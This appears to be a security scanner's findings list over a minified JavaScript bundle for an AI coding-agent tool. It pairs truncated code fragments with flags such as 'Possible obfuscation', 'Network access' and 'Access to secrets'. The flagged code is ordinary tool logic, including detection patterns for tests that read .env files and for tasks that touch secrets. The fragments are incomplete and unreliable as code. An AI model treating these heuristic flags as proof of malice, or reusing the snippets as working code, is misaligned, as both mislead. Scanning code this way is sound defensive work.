`);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray($))return null;let{key:Z,expiresAt:J, - Network accessline 389
`)}function A9($){try{return t($,["config","--get","remote.origin.url"]).trim()||null}catch{return null}}function F$($){return $?.match(/^(?:https:\/\/(?:[^@/]+@)?github\.com\/|git@github\.com:|ssh:\/\/git@github\.com\/)([^/]+\/[^/]+?)(?:\. - Possible obfuscationline 389
`)}function A9($){try{return t($,["config","--get","remote.origin.url"]).trim()||null}catch{return null}}function F$($){return $?.match(/^(?:https:\/\/(?:[^@/]+@)?github\.com\/|git@github\.com:|ssh:\/\/git@github\.com\/)([^/]+\/[^/]+?)(?:\. - Possible obfuscationline 390
`)}catch{}}function lf($,Z,J){try{let X=JSON.parse(DY0(qA($,"preflight.json"),"utf8"));if(typeof X.publish!=="string"||X.publish==="pr"||X.publish==="fork_pr")return"";let Y=typeof X.publish_compare==="string"&&/^https:\/\/github\.com\/[^/\ - Possible obfuscationline 391
`}function Xg($){let Z=cY8($,".loki"),J=Jg(Z,"mcp-config.json"),X=aY8(iY8(lY8()));eH(Z,/mcp-config\.json\.tmp\.([0-9]+)/);let Y=null;if(mY0(J))try{Y=uY0(J,"utf8")}catch{Y=null}if(Y===X)return J;mY8(Z,{recursive:!0});let Q=`${J}.tmp.${proces - Instruction override signalline 392
`)){let J=$.LOKI_PERMISSION_POLICY??"";if(J==="legacy")return"legacy";if(J==="compiled")return"compiled";if(J==="")try{return Qg().hasOperatorPolicy($)?"compiled":"legacy"}catch{return"legacy"}if(!aY0)aY0=!0,Z(`LOKI_PERMISSION_POLICY=${J}: - Dangerous shell operationline 393
`)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let - Possible obfuscationline 393
`)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let - Instruction override signalline 393
`)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let - Access to secretsline 400
[Credential-related source omitted] - Possible obfuscationline 417
${$}`:$;import{execFileSync as HQ8}from"child_process";import{createHash as qQ8}from"crypto";import{existsSync as UQ8,mkdtempSync as BQ8,readFileSync as MQ8,rmSync as NQ8}from"fs";import{tmpdir as FQ8}from"os";import{join as Mg}from"path";f - Possible obfuscationline 418
`,{flag:"wx"})}catch{}}var GQ0="2.1.293",qQ0="advisor-error.txt",Lg=3,IA="opus",IQ8;var kz=_(()=>{H$();lb();eZ();IQ8=["CLAUDE_CODE_USE_BEDROCK","CLAUDE_CODE_USE_VERTEX","CLAUDE_CODE_USE_FOUNDRY"]});import{appendFileSync as MQ0,existsSync as - Possible obfuscationline 420
`:"")+c,X0)M.set(X0,[...M.get(X0)??[],c])},N=(Y0)=>{for(let X0 of Y0??[]){for(let c of M.get(X0)??[]){let H0=B.lastIndexOf(c);if(H0>=0)B=B.slice(0,H0)+B.slice(H0+c.length)}M.delete(X0)}},O=!1,L=!1,C,P=!1,T=!1,A=new Map,I=0,w,E,D=new Map,x=n - Possible obfuscationline 424
`}let H0=Y0.message?.usage;if(H0){let n=Y0.message?.id??`#${I++}`,o=A.get(n)??{};if(A.set(n,{input_tokens:Math.max(o.input_tokens??0,Y5(H0.input_tokens)),output_tokens:Math.max(o.output_tokens??0,Y5(H0.output_tokens)),cache_read_input_token - Possible obfuscationline 427
`;continue}if(X0==="result"){if(P=!0,fQ8(W,Y0,J),Y0.result)F(Y0.result);let c=bz(J);for(let _0 of Object.keys(z))if(z[_0].status==="active")z[_0].status="completed",z[_0].completed_at=c,z[_0].current_task="Session complete";let H0=z[Sz];if( - Possible obfuscationline 429
`)}catch{}}function BQ0($,Z,J,X){let Y=Y5(X.input_tokens)+Y5(X.cache_read_input_tokens)+Y5(X.cache_creation_input_tokens),Q=$.get(J);$.set(J,{size:Math.max(Q?.size??0,Y),output:Math.max(Q?.output??0,Y5(X.output_tokens))});let W=X.iterations - Possible obfuscationline 430
`)?$.slice(0,-1):$).split( `)}function aQ8($,Z){let J=$.stdout;if(typeof J!=="string")return;let X=LQ0(J);if(X.length<=Z.bashThreshold)return;let{bashHead:Y,bashTail:Q}=Z,W=X.length-Y-Q;if(W<=0)return;return{...$,stdout:[...X.slice(0,Y),`[l - Possible obfuscationline 435
`)}}return}function sQ8($,Z){let J=$.tool_response;if(J===null||typeof J!=="object")return{};let X=J,Y=iQ8(Z),Q;switch($.tool_name){case"Bash":Q=aQ8(X,Y);break;case"Read":Q=nQ8(X,Y);break;case"Grep":Q=oQ8(X,Y);break;default:return{}}if(!Q)r - Dangerous shell operationline 437
`)}catch{}}async function TW8($,Z,J){try{let X=Bun.spawn({cmd:["bash",Ag],cwd:Z,env:A1({...process.env,LOKI_HOST_GUARD:"1",LOKI_TARGET_DIR:Z},Z),stdin:"pipe",stdout:"pipe",stderr:"ignore"}),Y=!1,Q=setTimeout(()=>{Y=!0,X.kill(9)},Pg()*1000); - Possible obfuscationline 437
`)}catch{}}async function TW8($,Z,J){try{let X=Bun.spawn({cmd:["bash",Ag],cwd:Z,env:A1({...process.env,LOKI_HOST_GUARD:"1",LOKI_TARGET_DIR:Z},Z),stdin:"pipe",stdout:"pipe",stderr:"ignore"}),Y=!1,Q=setTimeout(()=>{Y=!0,X.kill(9)},Pg()*1000); - Possible obfuscationline 441
`).map((z)=>IW8.exec(z.trim())).flatMap((z)=>z?[(z.slice(1).find(Boolean)??"").trim()]:[]).filter(Boolean))],W=RW8(Z);return W&&Q.length>=W?Q:[]}var IW8;var $U=_(()=>{i8();Yf();i8();IW8=/^(?:(?:FAILED|ERROR)\s+(\S+::\S*)(?:\s.*)?|\u25cf\s+( - Possible obfuscationline 442
`),Y}function rW8($){try{let Z=t($,["rev-parse","HEAD"]).trim();if(!Z)return null;let J=t($,["status","--porcelain","--untracked-files=no"]).trim()!=="";return`${Z}:${J?"dirty":"clean"}`}catch{return null}}function tW8($){let Z=rW8(h1($.rep - Possible obfuscationline 443
`+K}if(V)z+=wQ0;return z}function uQ0($){try{return SQ0(r8($,".github","workflows")).filter((Z)=>/\.ya?ml$/.test(Z)).sort().map((Z)=>r8(".github","workflows",Z))}catch{return[]}}function DA($){let Z=uW8("sha256");for(let J of[...wA,...uQ0($ - Possible obfuscationline 444
`),dW8(X,J)}function yg($,Z={}){try{let J=DA($),X=aQ0($),Y=kY($);if(Y&&Y.manifest_hash===J&&Y.revision===X)return{profile:Y,reused:!0};let Q=Y&&Y.manifest_hash===J?Y.commands.map((z)=>({...z,...z.kind==="test"?{validated:null,exit_code:null - Possible obfuscationline 445
`)){let Q=Y.trim();if(!Q||Yz8.test(Q))continue;let W=J.exec(Q);if(!W)return null;let[z,V,K]=$==="ruff"?[W[1],W[2],W[3]]:[W[1],W[3],W[2]],G=`${z}\x00${V}\x00${K}`;X.set(G,(X.get(G)??0)+1)}return X}function oQ0($,Z,J,X=null){let Y=(V)=>({preE - Possible obfuscationline 447
`)}function kA($,Z){let J=[],X=100,Y=(z,V)=>{X-=z,J.push(V)},Q=(z)=>$.commands.some((V)=>V.kind===z),W=$.baseline;if(!Q("test"))Y(30,{id:"no-test-command",severity:"high",message:"No test command found in the repo manifests.",fix:"Add a tes - Possible obfuscationline 448
`)}catch{}return`Readiness: ${Z.score}/100 (${Z.grade})${Z.findings.length?` - run \`loki doctor --repo\` for ${Z.findings.length} fix(es)`:""}`}function Wz8($,Z){if(!$)return"repo profile: none yet (run `loki doctor --repo` to build it; LO - Possible obfuscationline 452
${X.stderr??""}`),missing:X.status===127}},xg=($)=>{try{return t($,["ls-files","--others","--exclude-standard"]).split( `).map((Z)=>Z.trim()).filter(Boolean)}catch{return[]}},pQ0=($,Z)=>{for(let J of xg($))if(!Z.has(J))pW8(r8($,J),{force:!0 - Possible obfuscationline 453
`).map((Z)=>Z.trim()).filter(Boolean)}catch{return[]}},pQ0=($,Z)=>{for(let J of xg($))if(!Z.has(J))pW8(r8($,J),{force:!0,recursive:!0})},mz=($)=>$.replace(/\s+--silent\b/,"").trim(),xA=120,aQ0=($)=>{try{return t($,["rev-parse","HEAD"]).trim - Possible obfuscationline 454
`).map((X)=>X.trim()).filter(Boolean);return(Z.find((X)=>/^(?:E\s+)?(?:Error|\w*Error|ERROR|Failed|FAIL)\b|Cannot find|Interrupted:|No test files found|\d+: [\w.-]+: not found$|: command not found$|canceled due to missing packages/.test(X)) - Possible obfuscationline 455
`).map((Q)=>Q.trim()).filter(Boolean);return[...new Set([...X(["diff","--name-only",Z]),...X(["ls-files","--others","--exclude-standard"])])].filter((Y)=>!Y.startsWith(".loki/")&&!J?.(Y))}async function Pz8($){if($.protect||!$.baseSha||$.si - Possible obfuscationline 456
${C.stderr}`),A=C.exitCode===0||!J.baseSha?void 0:await KJ({repoDir:$,baseSha:J.baseSha,...J.skip?{skip:J.skip}:{},out:T,cmd:"bash",args:["-c",O],signal:Z,cwd:ug($,N),env:dz(J.path)});if(A){X.push({name:M,cmd:F,result:"not_run",duration_s:P - Possible obfuscationline 457
`).some((G)=>G.startsWith(z)&&G.endsWith("/")&&!G.slice(z.length,-1).includes("/")&&G!==".loki/"))Y.push(Q.root)}return Y}async function BW0($,Z,J,X){let Y=B5($.repoDir),Q=mz8($.repoDir,Y),W=NW0($.repoDir),z=Date.now(),V=await gz8({repoDir: - Possible obfuscationline 458
`).map((J)=>J.trim()).filter(Boolean).pop()??"").replace(/\s+/g," ").slice(0,160)},MW0=($,Z,J=process.env)=>t($,["hash-object","--no-filters","--",Z],{env:J}).trim(),NW0=($)=>{try{return new Set(t($,["ls-files","-o","--directory","--exclude - Possible obfuscationline 460
${X}`.split( `).filter(Boolean)}catch{return null}}var hA,rg=($,Z,J,X)=>new Promise((Y)=>{try{lz8($,Z,{maxBuffer:16777216,timeout:X,signal:J,env:S8(process.env)},(Q,W)=>Y({ok:!Q,out:String(W??"")}))}catch{Y({ok:!1,out:""})}});var tg=_(()=>{ - Possible obfuscationline 461
`).filter(Boolean)}catch{return null}}var hA,rg=($,Z,J,X)=>new Promise((Y)=>{try{lz8($,Z,{maxBuffer:16777216,timeout:X,signal:J,env:S8(process.env)},(Q,W)=>Y({ok:!Q,out:String(W??"")}))}catch{Y({ok:!1,out:""})}});var tg=_(()=>{b0();hA=/(^|\ - Possible obfuscationline 467
`)}function mA($,Z,J){return J.filter((X)=>{let Y=gA.find((V)=>V.re.test(X));if(!Y)return!1;if(!Y.shared)return!0;let Q=GV8($,Z,X),W=HV8($,X);if(Q===W)return!1;let z=typeof Y.shared==="string"&&Y.shared!=="tsconfig"?"":"{}";try{return WU(Y. - Possible obfuscationline 468
`).filter(Boolean).map((G)=>{let H=G.indexOf("\t");return[G.slice(H+1),G.slice(0,H).split(" ")[2]??""]})))}catch{if(W.size)Q.add("runner config not inspected: tree listing failed");return[...Q]}let V=new Set;for(let K of z.values())for(let - Possible obfuscationline 469
`).map((Z)=>Z.trim()).filter((Z)=>Z&&!Z.startsWith("#")),QV8,WV8=($)=>$.replace(/\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|([\s\S]))/g,(Z,J,X,Y)=>{if(Y!==void 0){let W=QV8[Y];if(W===void 0)throw Error("toml escape");return W}let Q=parseInt(J - Possible obfuscationline 470
`,f:"\f",r:"\r",'"':'"',"\\":"\\"};wW0=/^\d{4}-\d\d-\d\d[ T]\d\d:\d\d:\d\d(\.\d+)?(Z|[+-]\d\d:\d\d)?/;qV8=/["']?\b(?:preload|setupFiles|setupFilesAfterEnv|setupFilesAfterFramework|globalSetup|globalTeardown)\b["']?\s*[:=]\s*(\[[^\]]*\]|"[^" - Possible obfuscationline 621
`),fV8(K,W)}}catch{}return Q}function Wm($){try{if(t($,["status","--porcelain","--untracked-files=all"]).split( `).some((J)=>J.trim()!==""&&!/^.. "?\.loki\//.test(J)))return"";return t($,["rev-parse","HEAD^{tree}"]).trim()}catch{return""}}f - Possible obfuscationline 623
`)){if(!(J>0||X>0)){let z=/^@@ -\d+(?:,(\d+))? \+\d+(?:,(\d+))? @@/.exec(Y);if(z){J=z[1]===void 0?1:Number(z[1]),X=z[2]===void 0?1:Number(z[2]);continue}if(Y.startsWith("+++")||Y.startsWith("---"))continue}let W=Y[0];if(W==="+")X--;else if( - Possible obfuscationline 624
`)J++;else if(X==="/"&&Y==="*"){let Q=$.indexOf("*/",J+2);J=Q<0?$.length:Q+2}else Z+=X,J++}return Z.replace(/,(\s*[}\]])/g,"$1")}function eV8($,Z){let J=pW0($),X=pW0(nz($,Z));return X===J||X.startsWith(J+tV8)}function lW0($,Z,J){try{if(!KU( - Possible obfuscationline 637
`).filter((Z)=>/\b(?:expect|assert\w*|should|fail)\s*[(.]|\bself\.assert\w*\(|^\s*assert\b|\bt\.(?:is|true|ok|equal|deepEqual|throws)\b|\bpytest\.(?:raises|fail)\b|\bt\.(?:Error|Fatal)f?\(/.test(Z)).length;var Mm=_(()=>{qK8=/\u001b\[[0-9;?] - Possible obfuscationline 638
`,{mode:384})}catch{}}var HU=($)=>MK8("sha256").update($).digest("hex"),Nm=0.2,qU=($)=>$.startsWith("holdout:"),Vz0=($,Z)=>j$(zz0(),`loki-e10-holdout-${HU(`${$}:${Z}`).slice(0,16)}`),lA=($,Z)=>j$(zz0(),`loki-e10-wallseal-${HU(`${$}:${Z}`).s - Possible obfuscationline 640
`),this.nextSeq++,X}writeRaw($){let Z=Mz0(this.path,"a");try{EK8(Z,$)}finally{Bz0(Z)}}}function h6($){let Z={stages:{},completed:[],run:{started:null,completed:null,escalated:null,tampered:!1,verdict:null},cost:{usd:null,inputTokens:0,outpu - Possible obfuscationline 643
[Credential-related source omitted] - Possible obfuscationline 644
`).map((Q)=>Q.replace(/[\x00-\x1f\x7f]+/g," ").trim()).filter(Boolean),J=Z.find((Q)=>Q.startsWith("fork-only: "));if(J)return J;let X=Z.findLast((Q)=>/^engine10-push(?:-gitlab)?: /.test(Q))??Z.at(-1)??"",Y=Z.find((Q)=>/Permission to \S+ den - Possible obfuscationline 647
`),!1}}var XT=_(()=>{b0()});import{existsSync as GG8,lstatSync as HG8,mkdirSync as qG8,readFileSync as UG8,writeFileSync as BG8}from"fs";import{join as Dm}from"path";function CG8($,Z,J){let X=new Set;if(Z?.known())for(let W of $){let z=Z.pa - Possible obfuscationline 648
`;var R3=_(()=>{c5();BY()});import{spawnSync as AG8}from"child_process";import{mkdirSync as TG8,writeFileSync as nz0}from"fs";import{join as oz0}from"path";function sz0($){let Z=$.tampered?"TAMPERED":$.verdict,J=$.usd==null?"cost not measur - Possible obfuscationline 653
`}async function ez0($){let Z=[];if(!$.pinnedOrigin)return Z.push("push refused: no pinned origin (Rule of Two)"),Z;let J={...process.env,...$.extraEnv,_LOKI_ORIGIN_PINNED:"1",_LOKI_PINNED_ORIGIN:$.pinnedOrigin},X=$.prUrl?RG8.exec($.prUrl)? - Possible obfuscationline 660
`:"")).digest("hex"),K=J.kid===void 0||z.kid===J.kid?y1(z.kid,J.given):void 0;if(!K||z.events_sha256!==V||z.tampered!==!1||typeof z.sig!=="string"||!ZV0(null,Buffer.from(`${V}:false`),K,Buffer.from(z.sig,"base64url")))return`a log.sealed li - Possible obfuscationline 663
`).includes(`Loki-Wall-Publish: ${Z.run_id}`)}catch{return!1}}function QV0($,Z,J=process.env){let X=$;try{X=p1(JV0(C$($)),QT($))}catch{}let Y=yG8(X,Z);if(Y)return{verdict:"TAMPERED",reason:Y};try{let V=p1(C$(X),"events.jsonl");if(WT(V)&&AU( - Possible obfuscationline 667
`,H=ZV(G,Z.slice(0,z+1),{kid:V,expectSeal:!0});return{signed:W,problem:H?`the signed checkpoint after receipt.sealed is invalid (${H})`:null}}function hm($,Z,J,X=!1){let Y=p1($,"run.state.json"),Q;try{if(_G8(Y).isSymbolicLink())return"run.s - Possible obfuscationline 668
`)J++;else if(X==="/"&&Y==="*"){let Q=$.indexOf("*/",J+2);J=Q<0?$.length:Q+2}else Z+=X,J++}return JSON.parse(Z.replace(/,(\s*[}\]])/g,"$1"))}function BV0($,Z=0){let J=mm($);if(!J||Z>4)return null;let X=J.compilerOptions?.module;if(typeof X= - Possible obfuscationline 670
`)){if(/^\s*(?:await\s+)?(?:expect|assert\w*)\b|\b(?:write\w*|mkdtemp\w*|tmpdir|rm\w*|unlink\w*|touch)\b/.test(J))continue;let X=/["'`](?:[^"'`\n]*\/)?(\.env(?:\.[\w.-]+)?)["'`]/.exec(J);if(X)return`reads ${X[1]}, which the implementer's sa - Possible obfuscationline 673
`)){let L=/^[ \t]*(?:([\w.]+)[ \t]+)?"\u0001(\d+)"[ \t;]*$/.exec(O);if(L)z.push({alias:L[1]??"",path:Y[Number(L[2])-1]})}let V=(N)=>{let O=N.split("/"),L=O.pop();if(/^v\d+$/.test(L)&&O.length)L=O.pop();return L.replace(/\.v\d+$/i,"")},K=(N) - Possible obfuscationline 674
`)){let L=/^\s*([A-Za-z_]\w*(?:\s*,\s*[A-Za-z_]\w*)*)/.exec(O);if(L)B(L[1]).forEach((C)=>U.add(C))}for(let N of H.matchAll(/([A-Za-z_]\w*(?:\s*,\s*[A-Za-z_]\w*)*)\s*:=/g))B(N[1]).forEach((O)=>U.add(O));for(let N of H.matchAll(/^\s*([A-Za-z_ - Possible obfuscationline 679
`).map((K)=>K.trim()).filter((K)=>K&&!/^set\s+-/.test(K)),z=String.raw`(?:"[^"$\x60\\\n]*"|'[^'\n]*'|[^\s"'$\x60\\|&;<>(){}*?~-][^\s"'$\x60\\|&;<>(){}*?]*)`,V=new RegExp(String.raw`^(?:true|:|exit\s+0|return\s+0|(?:/usr)?/bin/true|(?:echo|p - Possible obfuscationline 680
`)K.push(G+1);for(let G of Qq(W,V)){let H=G.name.split(".");if(H.length!==2||G.container)continue;let q=K[G.start-1]??0,U=new RegExp(`\\bfn\\s+${H[1]}\\b[^(]*\\(`).exec(V.slice(q,q+2000));if(!U)continue;let B=jV0(V,q+U.index+U[0].length);if - Possible obfuscationline 681
`):W,V=iG8(J,X,Z),K=(L)=>{let C=[],P=0,T="",A="";for(let I=0;I<L.length;I++){let w=L[I];if(T){if(A+=w,w==="\\")A+=L[++I]??"";else if(w===T)T=""}else if(w==='"'||w==="'"||w==="`")T=w,A+=w;else if("([{".includes(w))P++,A+=w;else if(")]}".incl - Possible obfuscationline 682
`)){w++;for(let f of D.matchAll(/\bfor\s*\(\s*(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s+of\s*\[([^\]]*)\]/g)){let s=K(f[2]).map((z0)=>E(z0,!1));if(s.length&&s.every((z0)=>z0===L||z0===J))C.set(f[1],L),P.add(f[1])}let x=/^\s*(?:const|let|var) - Possible obfuscationline 686
`),PV0=($,Z)=>Z.filter((J)=>/(^|[\/._-])(test|spec)s?[\/._-]|_test\./i.test(J)&&FJ(P4($,J))).flatMap((J)=>{let X=um(gm(P4($,J),"utf8"));return X?[{name:J,why:X}]:[]}),aG8,nG8,oG8,sG8,tG8,eG8,$H8=($)=>$.split( `).every((Z)=>{let J=Z.trim();r - Possible obfuscationline 687
`).every((Z)=>{let J=Z.trim();return!J||/^(?:#|\/\/|\/\*|\*)/.test(J)}),ZH8=($,Z)=>{let J=Z.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");return[...$.matchAll(new RegExp(`(?<![\\w.-])${J}/|\\b(?:in|into|under|inside|within)\\s+(?:the\\s+)?[\`"']?${ - Possible obfuscationline 688
${J.join( `)}`:""}function tm($,Z=process.env,J={}){let X=DU(Z);return X?$.filter(({f:Y})=>!wV0(X,Y)&&!Object.hasOwn(J,Y)).map(({f:Y})=>Y):null}function DV0($,Z,J){let X=typeof J==="number"&&Number.isFinite(J)&&J>0?J:null,Y=(V)=>(Math.ceil( - Possible obfuscationline 689
`)}`:""}function tm($,Z=process.env,J={}){let X=DU(Z);return X?$.filter(({f:Y})=>!wV0(X,Y)&&!Object.hasOwn(J,Y)).map(({f:Y})=>Y):null}function DV0($,Z,J){let X=typeof J==="number"&&Number.isFinite(J)&&J>0?J:null,Y=(V)=>(Math.ceil(Math.min(V - Possible obfuscationline 696
`&&Y===0&&X.trim()&&/^\s*(export|import)\b/.test($.slice(Q+1,Q+40))){W("",null,Q),Q++,J=Q;continue}X+=V,Q++}return W("",null,$.length),Z}function $u($){let Z=$.length,J=0,X=()=>{while(J<Z&&/\s/.test($[J]))J++};if(/^async\s/.test($))J=5,X(); - Possible obfuscationline 700
`)return!0;if(U==="\\")G++;else if(U==="[")H=!0;else if(U==="]")H=!1;else if(U==="/"&&!H){q=!0;break}}if(!q)return!0;V=G+1;while(V<J&&/[a-z]/i.test($[V]))V++;z("a");continue}if(K==="("||K==="["||K==="{")X.push(K);else if(K===")"||K==="]"||K - Possible obfuscationline 712
`)],q=(M)=>M.split(",").map((F)=>F.replace(/#.*$/gm,"").trim().split(/\s+as\s+/)[0].trim()).filter(Boolean);for(let M of H){for(let F of M.matchAll(/(?:^|:)[ \t\f]*from[ \t\f]+([\w.]+?)(?:[ \t\f]+|(?<=\.)[ \t\f]*)import\b[ \t\f]*(?:\(([^)]* - Possible obfuscationline 718
`),HT=($)=>($.split("/").pop()??$).replace(/\.[^.]*$/,""),yH8=($,Z)=>$.path<Z.path?-1:$.path>Z.path?1:$.content<Z.content?-1:$.content>Z.content?1:0;var nV0=_(()=>{e6();Xu();nZ();_H8=/(^|\/)(tests?|__tests__|spec)\/|\.(test|spec)\.[jt]sx?$| - Possible obfuscationline 720
`);if(!L)return null;let C=[],P=0;for(let A of O){let I=L.indexOf(10,P);if(I<0)return null;let w=L.subarray(P,I).toString("latin1").split(" "),E=Number(w[2]),D=I+1;if(w.length!==3||w[0]!==A.sha||w[1]!=="blob"||!Number.isInteger(E)||E<0||D+E - Possible obfuscationline 724
Run: python3 -m unittest <file>.`,go:`${D7.go.cmd.replace(" ./<pkg dirs>","")}. Write a _test.go file in the package under test. Example: func TestName(t *testing.T) { if got := Fn(1); got != 2 { t.Fatalf("got %v", got) } } Run: ${D7.go.cm - Possible obfuscationline 732
${X}`,Q=qu.find((q)=>J.includes(`loki:${q}`));if(Q)return{class:Q,reason:`label loki:${Q}`,rule:"label"};let W=Yq8.test(Y)?BT(Xq8,Y)??BT(Jq8,Y):null;if(W)return{class:"human",reason:`touches secrets ("${Hu(W,40)}"); rotate or change them by - Possible obfuscationline 738
[Credential-related source omitted] - Access to secretsline 738
[Credential-related source omitted] - Possible obfuscationline 739
`)}catch{W("steer applied but its revision record failed")}}),V="",F===""?null:F}catch{if(V)try{MT(T4($,".loki","logs"),`human-input-${J().toISOString().replace(/[-:]/g,"").replace(/\..*/,"")}`,V,Y?.link),W("logs dir unwritable or file unre - Possible obfuscationline 744
`)}catch{}return z}function qK0($,Z=0){let J=[];try{for(let X of zK0(T4($,".loki","intent-revisions.jsonl"),"utf8").split( `)){if(!X)continue;try{let Y=JSON.parse(X),Q=Date.parse(String(Y.consumed_at));if(Number.isFinite(Q)&&Q>=Z)J.push({re - Possible obfuscationline 745
`)){if(!X)continue;try{let Y=JSON.parse(X),Q=Date.parse(String(Y.consumed_at));if(Number.isFinite(Q)&&Q>=Z)J.push({rev:Number(Y.rev)||0,source:typeof Y.source==="string"?Y.source:null,actor:typeof Y.actor==="string"?Y.actor:null,sha:typeof - Possible obfuscationline 752
${Q}`}}var XK0=1048576,Lq8,jq8="--- BEGIN OPERATOR GUIDANCE (from loki steer) ---",Cq8="--- END OPERATOR GUIDANCE ---",Pq8=600000,GK0=($,Z)=>T4($,`.applied-${Z}`),Iq8,YK0;var FT=_(()=>{c5();Lq8=new Set(["plan","implement"]);Iq8=/^## Operato - Network accessline 753
`):""}function GU8($,Z,J=[]){let X=Array.isArray($.plan?.relevant_files)?$.plan.relevant_files.filter((G)=>typeof G==="string"):[],Y=typeof $.plan?.plan==="string"?$.plan.plan:"";if(X.length===0&&Y.trim()===""&&J.length===0)return null;let - Network accessline 754
${typeof $.intake?.task==="string"?$.intake.task:""} ${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f: - Network accessline 755
${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f:G})=>G);let V=zU8(Q),K=new Set(X.map((G)=>gK0(G)).fil - Possible obfuscationline 755
${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f:G})=>G);let V=zU8(Q),K=new Set(X.map((G)=>gK0(G)).fil - Network accessline 756
`),!await eK0(z,["test","--config",j5(K,"playwright.config.cjs")],$,Q,W))return{rels:[],skipped:"playwright e2e video and trace skipped: the run failed or timed out"};let G=[],H=(q)=>{for(let U of qU8(q,{withFileTypes:!0})){let B=j5(q,U.nam - Possible obfuscationline 756
`),!await eK0(z,["test","--config",j5(K,"playwright.config.cjs")],$,Q,W))return{rels:[],skipped:"playwright e2e video and trace skipped: the run failed or timed out"};let G=[],H=(q)=>{for(let U of qU8(q,{withFileTypes:!0})){let B=j5(q,U.nam - Possible obfuscationline 757
`),{screens:[],http:!0,skipped:null}}catch(K){return Y(`capture failed: ${String(K?.message??K).slice(0,200)}`)}finally{await _U8(W,Math.min(DU8,Math.max(250,z+V-Date.now())),Q)}}async function $G0($,Z,J,X,Y,Q){if(!wT())return{};let W=Array - Possible obfuscationline 765
`,iK0=25000,aK0=5,gu=($)=>{try{return oK0($).isSymbolicLink()}catch{return!1}},wU8=($)=>{try{return oK0($).isFile()}catch{return!1}},bu=($)=>{try{return process.kill(-$,0),!0}catch{return!1}},DU8=2000;var gU=_(()=>{j4();OU8=/^(?:.*\/)?(?:ap - Possible obfuscationline 766
Review ONLY the diff below. Do not modify files.`:"You are an independent code reviewer. Review ONLY the diff below for correctness bugs, spec violations and missing tests. Do not modify files.",cU8,"Reply with a first line exactly `VERDICT - Possible obfuscationline 767
`);try{if(Q==="claude")await AA();let F=await VZ0(B8,VG0($.repoDir,".loki"),"xreview")(uU8(Q,M,process.env,Q==="claude"?Y?.model||q:void 0),{cwd:$.repoDir,timeoutMs:MG0($)*1000,group:!0,signal:X}),N=`${$.runId}-xreview-${Q}`;if(g10(VG0($.re - Possible obfuscationline 768
`)}catch{}}function TG0($){try{let Z=jG0($,CG0);if(!aU8(Z)||!nU8(Z).isFile())return;let J=JSON.parse(sU8(Z,"utf8"));return typeof J==="object"&&J!==null&&!Array.isArray(J)?J:void 0}catch{return}}var CG0="route.json",tU8=!1;var iu=()=>{};var - Possible obfuscationline 801
`,XB8=/^(claude-[A-Za-z0-9._-]+|opus|sonnet|haiku|small|medium|high)$/i});var dT={};D0(dT,{writeRequirementsMap:()=>$c,writeFromEngine10:()=>PB8,writeFromChecklist:()=>CB8,validateConstraints:()=>UB8,untracedLines:()=>cG0,traceContract:()=> - Possible obfuscationline 807
`),2;let J=n1(aU(Z,"utf8"),Z),X=uT(lG0(process.cwd()));return vG0(hG0(X),{recursive:!0}),QB8(X,JSON.stringify(J,null,2)+ `),process.stdout.write(pG0(J)),0}function eu($,Z,J,X,Y=process.env,Q){if(!gT(Y))return[];try{let W=cT($),z=!0;try{bG0( - Possible obfuscationline 808
`),process.stdout.write(pG0(J)),0}function eu($,Z,J,X,Y=process.env,Q){if(!gT(Y))return[];try{let W=cT($),z=!0;try{bG0(uT($))}catch{z=!1}if(!Q)return z?["contract not snapshotted at intake; ignored"]:[];let V=[];if(Q.sha256!==null){let H=(q - Possible obfuscationline 810
print(json.dumps(m.extract_bound_requirement_units(sys.stdin.read())))`,J],{input:$,encoding:"utf8",timeout:15000,env:{PATH:process.env.PATH??"",LC_ALL:"C.UTF-8"}});if(Y.status!==0)return null;let Q;try{Q=JSON.parse(Y.stdout)}catch{return n - Possible obfuscationline 812
`}var fG0,ru=50,hT=500,VB8,KB8,GB8,HB8,kG0=($)=>gG0($).toLowerCase(),BB8,dG0=1048576,FB8,OB8=40,LB8=12,jB8,aG0=($)=>$.map((Z,J)=>({id:`R${J+1}`,...iG0(Z)}));var CJ=_(()=>{L9();j3();G8();b0();fG0=["perf","api","security"],VB8=/^#{1,6}\s+(.*? - Possible obfuscationline 813
`),wB8(H,G),{path:G,receipt:K}}function nT($){let Z=$.includes("SPEC_CONFLICT")?"SPEC_CONFLICT":$.length>0&&$.every((X)=>X==="ALREADY_SATISFIED")?"ALREADY_SATISFIED":"VERIFIED",J=$.filter((X)=>X==="FAILED"||!["VERIFIED","ALREADY_SATISFIED", - Possible obfuscationline 815
${X}`;if($==="npm"){if(J===0){let W=/"?(\d{4}-\d\d-\d\dT[\d:.]+Z)"?/.exec(X);return W?{status:"exists",firstPublish:Date.parse(W[1])}:{status:"exists"}}return/E404|404 Not Found|is not in this registry/i.test(Q)?{status:"missing"}:{status:" - Possible obfuscationline 818
